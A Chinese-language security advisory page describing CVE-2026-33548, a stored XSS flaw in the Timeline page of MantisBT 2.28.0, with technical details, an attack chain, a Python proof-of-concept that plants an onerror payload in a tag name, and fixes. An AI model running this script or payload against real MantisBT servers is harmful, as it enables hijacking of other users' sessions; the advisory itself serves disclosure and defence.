IPBUF安全漏洞报告
English
CVE-2026-33548 CVSS 6.1 中危

CVE-2026-33548 MantisBT存储型XSS漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-33548
漏洞类型
跨站脚本 (XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Mantis Bug Tracker (MantisBT)

相关标签

XSSMantisBT存储型XSSWeb安全CVE-2026-33548

漏洞概述

Mantis Bug Tracker (MantisBT) 2.28.0版本存在存储型跨站脚本(XSS)漏洞。该漏洞源于Timeline(时间轴)页面在展示历史标签名称时,未对检索到的数据进行适当的转义处理。攻击者可利用此漏洞,在显示已重命名或删除的标签时注入恶意HTML代码。若内容安全策略(CSP)设置允许,攻击者可进一步执行任意JavaScript代码,从而窃取用户凭证或执行恶意操作。该漏洞在2.28.1版本中已修复。

技术细节

该漏洞位于MantisBT的`IssueTagTimelineEvent::html()`方法中。当系统从数据库检索标签历史记录并在时间轴(my_view_page.php)上渲染时,未对`$this->tag_name`变量进行HTML实体编码。攻击者可以创建一个包含XSS载荷的标签(如`<script>alert(1)</script>`),将其关联到Issue,随后重命名或删除该标签。此时,旧的标签名称会作为历史记录被保存。当其他用户访问包含该历史记录的时间轴页面时,恶意脚本将在未经过滤的情况下直接输出到HTML中并在浏览器端执行。由于CVSS向量包含S:C(范围改变),此漏洞可能导致用户会话被劫持或执行其他客户端攻击。

攻击链分析

STEP 1
侦察
攻击者确认目标使用的是存在漏洞的MantisBT 2.28.0版本。
STEP 2
制作载荷
攻击者构造包含恶意JavaScript代码的HTML标签名称。
STEP 3
注入载荷
攻击者登录系统,创建恶意标签,将其关联到Issue,然后重命名或删除该标签,将恶意代码存入历史记录。
STEP 4
诱导访问
攻击者诱导受害者(如管理员)访问MantisBT的“我的视图”或时间轴页面。
STEP 5
执行代码
受害者的浏览器渲染时间轴时,未过滤的恶意脚本被执行,攻击者获取用户权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-33548: Stored XSS in MantisBT Timeline # This script demonstrates how a malicious tag name can trigger XSS. import requests target_url = "http://target-mantisbt" username = "attacker" password = "password" session = requests.Session() login_payload = {"username": username, "password": password} session.post(f"{target_url}/login.php", data=login_payload) # Step 1: Create a tag with a malicious payload xss_payload = "<img src=x onerror=alert('CVE-2026-33548')>" tag_data = {"name": xss_payload, "description": "Malicious Tag"} session.post(f"{target_url}/tags_create.php", data=tag_data) print("[+] Malicious tag created.") # Step 2: Attach tag to an issue (e.g. ID 1) to generate history issue_payload = {"issue_id": "1", "tag_name": xss_payload} session.post(f"{target_url}/tag_attach.php", data=issue_payload) print("[+] Tag attached to issue.") # Step 3: Rename the tag to trigger the history event rename_payload = {"tag_name": xss_payload, "new_name": "SafeTag"} session.post(f"{target_url}/tags_update.php", data=rename_payload) print("[+] Tag renamed. XSS payload is now in history.") # Exploit: Victim visits my_view_page.php, the XSS triggers. print("[+] Trigger: Victim views the Timeline page.")

影响范围

MantisBT < 2.28.1

防御指南

临时缓解措施
如果无法立即升级,建议管理员通过SQL直接编辑数据库中包含恶意标签的历史记录条目。或者修改源代码文件,在`IssueTagTimelineEvent::html()`方法中,将`$this->tag_name`使用`string_html_specialchars()`函数包裹,以强制对输出进行HTML转义,从而防止脚本注入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表